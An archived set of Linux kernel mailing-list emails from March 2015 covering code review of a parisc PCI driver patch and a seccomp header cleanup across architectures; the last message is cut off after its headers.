References: <1424938344-4017-1-git-send-email-wangyijing@huawei.com>
 <1424938344-4017-23-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1425353070 19114 80.91.229.3 (3 Mar 2015 03:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2015 03:24:30 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, linux-pci@vger.kernel.org,
	Yinghai Lu <yinghai@kernel.org>, linux-kernel@vger.kernel.org,
	Marc Zyngier <marc.zyngier@arm.com>,
	linux-arm-kernel@lists.infradead.org,
	Russell King <linux@arm.linux.org.uk>, x86@kernel.org,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	"David S. Miller" <davem@davemloft.net>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-alpha@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, Liviu Dudau <liviu@dudau.co.uk>,
	Arnd Bergmann <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Yijing Wang <wangyijing@huawei.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Mar 03 04:24:20 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1YSdRU-0001Fk-12
	for lnx-linux-alpha@plane.gmane.org; Tue, 03 Mar 2015 04:24:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755853AbbCCDYT (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 2 Mar 2015 22:24:19 -0500
Original-Received: from mail-ob0-f182.google.com ([209.85.214.182]:40783 "EHLO
	mail-ob0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754655AbbCCDYR (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Mon, 2 Mar 2015 22:24:17 -0500
Original-Received: by mail-ob0-f182.google.com with SMTP id nt9so35381166obb.13
        for <linux-alpha@vger.kernel.org>; Mon, 02 Mar 2015 19:24:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=tAyQMWBiRA2l2GkydDnGNoclMJJin3n9+v0t38glj0g=;
        b=JFeDZVveG1qJrZ9CSUPbfzCT+OikkvRgKBcNxeq7ale8/eyX0cYbCdXQA6urJR6uPh
         TOxTTD/uArBxO71dLR0g7mttGxnf8c8SwklJB+UDNed4/zwgTkYmNFhAuaJuRjfPqgxI
         KxZp842s4s7EXFy5mLBlLaYaQOiAUrjFK8BVt5Hz8sdsRFrwBiTfN6cATsOvTPc0hNXw
         niI/eMyCVKi0OnZ8V4BA9jxAxD1npRm0CCVv3sqME1xkG5GJpgrVDCockCf3lO8OiCYf
         V5aDZPJQ5sWEhJCwXNh0TZp0TvZyDMz+hp0mDYwPT0/Uo0r0YuxYalyjzCMttWoGfWwl
         w4Ug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=tAyQMWBiRA2l2GkydDnGNoclMJJin3n9+v0t38glj0g=;
        b=CwtWr/vJ8dRjArZHDkU0P1Is7OtI/5eCbUZmZtfQb5h9Ir9lrf/FIiLo0OGKxyXgG8
         tsdOWrrnHFo0Ov+H1Ud4gyOy0XQbIbHHuOHde3EnF0O9fEGLgU7OY3yJiQgM58G0RGLU
         /PhjtMQfKDbyyQVYBu7z6ee293Xf+4mQL/wgDhXah+UrxCJ1SQPQOJjaFnFCaHzULBwZ
         h8K4PBSptsRBiELIiW0MLI3PUdOtn4IJiompM+s90cU8bfPGFMYWK7l4eLOOIYhAm2LW
         iPD1QtY6RAaKSe0oqdpdAkTCNV09R5z0vdnbroS3lS6OKAeH40MEU+rzoOI1EPSsFZ3c
         Qe5w==
X-Gm-Message-State: ALoCoQnL7lchxiUVtdaKTX2kvaynoI2u3KoIFq+jfhAjtVDQpNjTMaN+zPnuZoCUaH0Wi9KWgQvV
X-Received: by 10.202.230.67 with SMTP id d64mr20588089oih.8.1425353056863;
        Mon, 02 Mar 2015 19:24:16 -0800 (PST)
Original-Received: from google.com ([69.71.1.1])
        by mx.google.com with ESMTPSA id vc7sm9030219obb.28.2015.03.02.19.24.14
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Mon, 02 Mar 2015 19:24:15 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1424938344-4017-23-git-send-email-wangyijing@huawei.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2763 gmane.linux.kernel.pci:39504 gmane.linux.kernel:1898322 gmane.linux.ports.arm.kernel:396687 gmane.linux.ports.ia64:25124 gmane.linux.ports.parisc:25617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2763>

On Thu, Feb 26, 2015 at 04:12:16PM +0800, Yijing Wang wrote:
> From: Yijing Wang <wangyijing0307@gmail.com>

When you write subject lines, I think it's friendly to run
"git log --oneline" on the file you're changing, and make yours
match the previous ones.

  $ git log --oneline drivers/parisc/dino.c
  3f05536d226d PCI/Parisc: Use pci_scan_root_bus() for simplicity
  3335f75a8877 parisc: dino: fix %d confusingly prefixed with 0x in format string
  3fad9b8d597f drivers/parisc: Use printf extension %pR for struct resource
  0fe763c570ad Drivers: misc: remove __dev* attributes.
  0b79ca2a800d parisc/PCI: Use list_for_each_entry() for bus->devices traversal
  30aa80da43a5 parisc/PCI: register busn_res for root buses
  ...

Yours doesn't match any of them, but "parisc/PCI" seems the best match.

> Now pci_bus_add_devices() has been ripped out
> from pci_scan_root_bus(), we could use pci_scan_root_bus()
> instead of pci_create_root_bus() + pci_scan_child_bus()
> for simplicity. We could also remove the pci bus
> resource(dino_current_bus,255) and pci_bus_update_busn_res_end(),
> because pci_scan_root_bus() would do the same thing.
> 
> Signed-off-by: Yijing Wang <wangyijing@huawei.com>
> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
> CC: linux-parisc@vger.kernel.org
> ---
>  drivers/parisc/dino.c    |   11 ++---------
>  drivers/parisc/lba_pci.c |    7 ++-----
>  2 files changed, 4 insertions(+), 14 deletions(-)
> 
> diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
> index a0580af..e5ee339 100644
> --- a/drivers/parisc/dino.c
> +++ b/drivers/parisc/dino.c
> @@ -977,15 +977,11 @@ static int __init dino_probe(struct parisc_device *dev)
>  	if (dino_dev->hba.gmmio_space.flags)
>  		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
>  
> -	dino_dev->hba.bus_num.start = dino_current_bus;
> -	dino_dev->hba.bus_num.end = 255;
> -	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
> -	pci_add_resource(&resources, &dino_dev->hba.bus_num);

I know pci_scan_root_bus() does default to bus 0-255, but I don't really
like that behavior, and I think it's a bug for drivers like this to rely on
that.  The PCI core has no way to discover the actual bus number range, and
the only reason it supplies a default is because it was inconvenient to
change all the callers.  The host bridge driver is the only code that has
any chance of discovering and/or configuring the correct range.

So I think it's more correct to leave the existing code here, even though
this code is is likely incorrect.  At least then if we trip over an issue
with the bus range being incorrect, it will be clear that the fix should
be in dino.c rather than the PCI core.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v2] seccomp: switch to using asm-generic for seccomp.h
Date: Tue, 3 Mar 2015 09:30:02 +0100
Lines: 94
Approved: news@gmane.org
Message-ID: <20150303083002.GA1207@gmail.com>
References: <20150302231254.GA4857@www.outflux.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1425371433 30866 80.91.229.3 (3 Mar 2015 08:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2015 08:30:33 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	AKASHI Takahiro <takahiro.akashi@linaro.org>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
	x86@kernel.org, Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Laura Abbott <lauraa@codeaurora.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	James Hogan <james.hogan@imgtec.c
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 03 09:30:21 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YSiDd-0001h8-Ci
	for glk-linux-kernel-3@plane.gmane.org; Tue, 03 Mar 2015 09:30:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755247AbbCCIaP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Mar 2015 03:30:15 -0500
Original-Received: from mail-wg0-f45.google.com ([74.125.82.45]:40130 "EHLO
	mail-wg0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753364AbbCCIaJ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Mar 2015 03:30:09 -0500
Original-Received: by wghl18 with SMTP id l18so38386735wgh.7;
        Tue, 03 Mar 2015 00:30:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=/JrdxPdphzSUhyngAweLNA4mz3FC4rtVZmyP6ugtoJE=;
        b=nFm+jsSLd/H0vrBd53AHmlh3uVuwXnatzufPuxQ2xjkBpNUa7WkQz6hc5IUoToBPFM
         lY41VhJQTF2Fahcqnsdih3KmQZn0xlkbb4hJq/8fsPJS0pgzNE9ti4OWDZFCglRO1H7U
         vmJZm/NHeZ9x3NLiDZqQJoRdMsyyZvEVPytuecozzaS1APEfb+x5VUC9DeiUgU2jAx6z
         Y0XKoPLFLL1BmejZEBkOtTSEYHUgOfIFqXdR/ylCe543erDWR/7fZ19XJsNdxLzLlLE7
         PW46Fz50I0qxNnfHQfwK6UC5Z85dKfl+opOSUvf5XOXR1zk/hMgPw7BrRvpgI2/LMmWY
         HYMg==
X-Received: by 10.194.236.133 with SMTP id uu5mr5786262wjc.155.1425371407851;
        Tue, 03 Mar 2015 00:30:07 -0800 (PST)
Original-Received: from gmail.com (540334ED.catv.pool.telekom.hu. [84.3.52.237])
        by mx.google.com with ESMTPSA id vv9sm202723wjc.35.2015.03.03.00.30.04
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 03 Mar 2015 00:30:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20150302231254.GA4857@www.outflux.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1898504 gmane.linux.ports.arm.kernel:396742 gmane.linux.ports.mips.general:47246 gmane.linux.ports.parisc:25618 gmane.linux.ports.ppc64.devel:109630 gmane.linux.ports.sh.devel:44357 gmane.linux.ports.sparc:20507
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1898504>


* Kees Cook <keescook@chromium.org> wrote:

> Most architectures don't need to do anything special for the strict
> seccomp syscall entries. Remove the redundant headers and reduce the
> others.

>  19 files changed, 27 insertions(+), 137 deletions(-)

Lovely cleanup factor.

Just to make sure, are you sure the 32-bit details are identical 
across architectures?

For example some architectures did this:

> --- a/arch/microblaze/include/asm/seccomp.h
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -#ifndef _ASM_MICROBLAZE_SECCOMP_H
> -#define _ASM_MICROBLAZE_SECCOMP_H
> -
> -#include <linux/unistd.h>
> -
> -#define __NR_seccomp_read		__NR_read
> -#define __NR_seccomp_write		__NR_write
> -#define __NR_seccomp_exit		__NR_exit
> -#define __NR_seccomp_sigreturn		__NR_sigreturn
> -
> -#define __NR_seccomp_read_32		__NR_read
> -#define __NR_seccomp_write_32		__NR_write
> -#define __NR_seccomp_exit_32		__NR_exit
> -#define __NR_seccomp_sigreturn_32	__NR_sigreturn

others did this:

> diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h
> deleted file mode 100644
> index 84ec1bd161a5..000000000000
> --- a/arch/x86/include/asm/seccomp_64.h
> +++ /dev/null
> @@ -1,17 +0,0 @@
> -#ifndef _ASM_X86_SECCOMP_64_H
> -#define _ASM_X86_SECCOMP_64_H
> -
> -#include <linux/unistd.h>
> -#include <asm/ia32_unistd.h>
> -
> -#define __NR_seccomp_read __NR_read
> -#define __NR_seccomp_write __NR_write
> -#define __NR_seccomp_exit __NR_exit
> -#define __NR_seccomp_sigreturn __NR_rt_sigreturn
> -
> -#define __NR_seccomp_read_32 __NR_ia32_read
> -#define __NR_seccomp_write_32 __NR_ia32_write
> -#define __NR_seccomp_exit_32 __NR_ia32_exit
> -#define __NR_seccomp_sigreturn_32 __NR_ia32_sigreturn
> -
> -#endif /* _ASM_X86_SECCOMP_64_H */

While in yet another case you kept the syscall mappings:

> --- a/arch/x86/include/asm/seccomp.h
> +++ b/arch/x86/include/asm/seccomp.h
> @@ -1,5 +1,20 @@
> +#ifndef _ASM_X86_SECCOMP_H
> +#define _ASM_X86_SECCOMP_H
> +
> +#include <asm/unistd.h>
> +
> +#ifdef CONFIG_COMPAT
> +#include <asm/ia32_unistd.h>
> +#define __NR_seccomp_read_32		__NR_ia32_read
> +#define __NR_seccomp_write_32		__NR_ia32_write
> +#define __NR_seccomp_exit_32		__NR_ia32_exit
> +#define __NR_seccomp_sigreturn_32	__NR_ia32_sigreturn
> +#endif
> +
>  #ifdef CONFIG_X86_32
> -# include <asm/seccomp_32.h>
> -#else
> -# include <asm/seccomp_64.h>
> +#define __NR_seccomp_sigreturn		__NR_sigreturn
>  #endif
> +
> +#include <asm-generic/seccomp.h>
> +
> +#endif /* _ASM_X86_SECCOMP_H */

It might all be correct, but it's not obvious to me.

Thanks,

	Ingo

From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha
Subject: Re: [PATCH v4 22/30] PCI/Parisc: Use pci_scan_root_bus() for simplicity
Date: Tue, 3 Mar 2015 17:31:44 +0800
Lines: 78
Approved: news@gmane.org
Message-ID: <54F57F80.6050205@huawei.com>
References: <1424938344-4017-1-git-send-email-wangyijing@huawei.com> <1424938344-4017-23-git-send-email-wangyijing@huawei.com> <20150303032412.GK11978@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1425375139 25920 80.91.229.3 (3 Mar 2015 09:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2015 09:32:19 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 03 10:32:15 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YSjBW-0002uz-Hf
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Mar 2015 10:32:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755874AbbCCJcL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Mar 2015 04:32:11 -0500
Original-Received: from szxga01-in.huawei.com ([119.145.14.64]:50306 "EHLO
	szxga01-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752921AbbCCJcH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Mar 2015 04:32:07 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml431-hub.china.huawei.com) ([172.24.2.119])
	by szxrg01-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CKG19231;
	Tue, 03 Mar 2015 17:31:57 +0800 (CST)
Original-Received: from [127.0.0.1] (10.177.27.212) by szxeml431-hub.china.huawei.com
 (10.82.67.208) with Microsoft SMTP Server id 14.3.158.1; Tue, 3 Mar 2015
 17:31:48 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.0.1
In-Reply-To: <20150303032412.GK11978@google.com>
X-Originating-IP: [10.177.27.212]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25619 gmane.linux.kernel.pci:39520 gmane.linux.kernel:1898543 gmane.linux.ports.arm.kernel:396761 gmane.linux.ports.ia64:25135 gmane.linux.ports.alpha:2774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25619>

On 2015/3/3 11:24, Bjorn Helgaas wrote:
> On Thu, Feb 26, 2015 at 04:12:16PM +0800, Yijing Wang wrote:
>> From: Yijing Wang <wangyijing0307@gmail.com>
> 
> When you write subject lines, I think it's friendly to run
> "git log --oneline" on the file you're changing, and make yours
> match the previous ones.
> 
>   $ git log --oneline drivers/parisc/dino.c
>   3f05536d226d PCI/Parisc: Use pci_scan_root_bus() for simplicity
>   3335f75a8877 parisc: dino: fix %d confusingly prefixed with 0x in format string
>   3fad9b8d597f drivers/parisc: Use printf extension %pR for struct resource
>   0fe763c570ad Drivers: misc: remove __dev* attributes.
>   0b79ca2a800d parisc/PCI: Use list_for_each_entry() for bus->devices traversal
>   30aa80da43a5 parisc/PCI: register busn_res for root buses
>   ...
> 
> Yours doesn't match any of them, but "parisc/PCI" seems the best match.

OK, I will refresh the title, sorry.

> 
>> Now pci_bus_add_devices() has been ripped out
>> from pci_scan_root_bus(), we could use pci_scan_root_bus()
>> instead of pci_create_root_bus() + pci_scan_child_bus()
>> for simplicity. We could also remove the pci bus
>> resource(dino_current_bus,255) and pci_bus_update_busn_res_end(),
>> because pci_scan_root_bus() would do the same thing.
>>
>> Signed-off-by: Yijing Wang <wangyijing@huawei.com>
>> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> CC: linux-parisc@vger.kernel.org
>> ---
>>  drivers/parisc/dino.c    |   11 ++---------
>>  drivers/parisc/lba_pci.c |    7 ++-----
>>  2 files changed, 4 insertions(+), 14 deletions(-)
>>
>> diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
>> index a0580af..e5ee339 100644
>> --- a/drivers/parisc/dino.c
>> +++ b/drivers/parisc/dino.c
>> @@ -977,15 +977,11 @@ static int __init dino_probe(struct parisc_device *dev)
>>  	if (dino_dev->hba.gmmio_space.flags)
>>  		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
>>  
>> -	dino_dev->hba.bus_num.start = dino_current_bus;
>> -	dino_dev->hba.bus_num.end = 255;
>> -	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
>> -	pci_add_resource(&resources, &dino_dev->hba.bus_num);
> 
> I know pci_scan_root_bus() does default to bus 0-255, but I don't really
> like that behavior, and I think it's a bug for drivers like this to rely on
> that.  The PCI core has no way to discover the actual bus number range, and
> the only reason it supplies a default is because it was inconvenient to
> change all the callers.  The host bridge driver is the only code that has
> any chance of discovering and/or configuring the correct range.
> 
> So I think it's more correct to leave the existing code here, even though
> this code is is likely incorrect.  At least then if we trip over an issue
> with the bus range being incorrect, it will be clear that the fix should
> be in dino.c rather than the PCI core.

OK, I would keep this code here, thanks!

> 
> .
> 


-- 
Thanks!
Yijing

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel
Subject: Re: [PATCH v2] seccomp: switch to using asm-generic for seccomp.h
Date: Tue, 3 Mar 2015 09:56:02 -0800
Lines: 123
Approved: news@gmane.org
Message-ID: <CAGXu5jKs4_c2jcOzTA2tVQThToVfMUO31GF5+6CXtwA+KKj5_Q@mail.gmail.com>
References: <20150302231254.GA4857@www.outflux.net>
	<20150303083002.GA1207@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1425405383 5697 80.91.229.3 (3 Mar 2015 17:56:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2015 17:56:23 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	AKASHI Takahiro <takahiro.akashi@linaro.org>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
	"x86@kernel.org" <x86@kernel.org>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Laura Abbott <lauraa@codeaurora.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	James Hogan <
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Mar 03 18:56:12 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1YSr3C-0000pS-PH
	for lnx-sparclinux@plane.gmane.org; Tue, 03 Mar 2015 18:56:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932665AbbCCR4I (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 3 Mar 2015 12:56:08 -0500
Original-Received: from mail-vc0-f169.google.com ([209.85.220.169]:53853 "EHLO
	mail-vc0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757453AbbCCR4E (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 3 Mar 2015 12:56:04 -0500
Original-Received: by mail-vc0-f169.google.com with SMTP id im6so6126560vcb.0
        for <sparclinux@vger.kernel.org>; Tue, 03 Mar 2015 09:56:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=aXSh+AzNkYi3HHoihQg+UME1/xfxNZs739pQcv9Wzj4=;
        b=glJ2PrNA6OhqSCJS4seyEyBBlHMDsCagJVxVYiMlSsf+s20CJCcB+cToUHurVjBi4u
         lSPJSNzE9QnDwGaFZ0qy7BhVsNhvl9LNVhM/Rk0xq8Sw5ryHQA3mT7tU6iJTJqlQoFyd
         UrVrNx7VGW0GPpKaGEunGrP1SOMj/JbPht7RiU5I6ZskJ6jHOpjdZguDBnkIxya5+0a/
         qlaa1M1irkMI8cjHvavqQ3JI7XfAOntwynmdeA3hjT1ohIoqcO6QBUoWyeF82qrSJTaN
         k010YDFeheAlcherNgIqDlV9ATErd4oJRYeWDp/9HzITrkR+J7NMjkkNVoTq5+6QVSaY
         20pQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=aXSh+AzNkYi3HHoihQg+UME1/xfxNZs739pQcv9Wzj4=;
        b=kJAqw8kn9Y5Lbme2/Cj5isgcpfGBjUOuXMzbGCnBOURwRPJtCUS9iCj+iEqAiYfErl
         QXEoFPCBmp7dJJ7au07efhkkfptMKgf07aPikqfsztNcoBkzCjcSG+7398GkiascAbl5
         SKy7ipWqlaQJ7rT7Fv46/wmCYnIwGL09WD+UI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=aXSh+AzNkYi3HHoihQg+UME1/xfxNZs739pQcv9Wzj4=;
        b=TDKDUSitKnWvLHgOw7K8pPsSbM7aYM3ouDSpzh2qCeC0FZ6r9ynjsEryunJTTGQDKI
         hYOCI7VK6l+zuaxFxTu6CIIgrpF90R2zkebqmKe7NFqbEm5ai6XA8f1zQh9vtYUt0f6a
         sYLRst+esFm46GzkZv+fRICxPWxTGXlfKyeHZOcvgZGakpJlkZysCv9j5bod7pTbemPa
         fDNc86BGPto2xsQN8zjqepd/Sl0ioVH9LHQqz9lcOQbL3T9jlAtPM+PteKo79/juYdg/
